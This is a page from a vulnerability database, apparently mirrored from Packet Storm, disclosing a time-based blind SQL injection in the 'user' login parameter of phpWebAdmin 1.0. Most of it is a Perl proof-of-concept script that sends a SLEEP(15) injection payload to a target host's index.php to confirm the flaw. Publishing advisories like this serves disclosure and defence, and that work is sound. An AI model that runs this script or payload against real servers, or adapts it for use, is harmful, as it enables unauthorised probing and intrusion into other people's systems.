Lucene search
K

phpWebAdmin 1.0 SQL Injection

🗓️ 14 Nov 2016 00:00:00Reported by N_AType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

phpWebAdmin 1.0 SQL Injection, file and folder manager, version 1.0, discovered by N_A, vulnerability in 'user' parameter, sourceforge project chrisphpadmi

Code
`#!/usr/bin/perl -w  
  
#phpWebAdmin Version 1.0 SQL Injection Proof Of Concept Exploit  
#===============================================================  
  
  
#Discovered by N_A , N_A[at]tutanota.com  
#========================================  
  
  
  
#Description  
#============  
#  
# php web admin file and folder manager.  
#  
# currently version 1.0  
# more features to come  
#  
# https://sourceforge.net/projects/chrisphpadmin/  
  
  
#Vulnerability  
#==============  
  
#The 'user' parameter in the index.php file is vulnerable to a blind SQL time-based Injection attack. Proof of concept is exploit attached below  
  
  
  
  
#Proof Of Concept  
#=================  
  
  
use strict;  
use LWP::Simple;  
  
my ($url ) = @ARGV;  
if (not defined $url)  
  
{  
  
print "=========================================\n";  
print "phpWebAdmin SQL Injection Exploit\n";  
print "\tBy N_A\n";  
print "\n";  
print "$0 [URL]\n";  
print "$0 127.0.0.1\n";  
print "=========================================\n";  
exit;  
  
}  
  
  
  
my $file = '/phpWebAdmin/index.php';  
my $injection = 'user=a\' AND (SELECT * FROM (SELECT(SLEEP(15)))MdWH) AND \'gpey\'=\'gpey&pass=p&login=login'; #Sleep for 15 seconds  
my $request = "http://".$url.$file."?".$injection;  
  
  
  
print "#####################################################\n";  
print "SQL Injection: The server will sleep for 15 secs\n";  
print "#####################################################\n";  
  
  
my $content = get $request;  
  
die "could not get $request" unless defined $content;  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation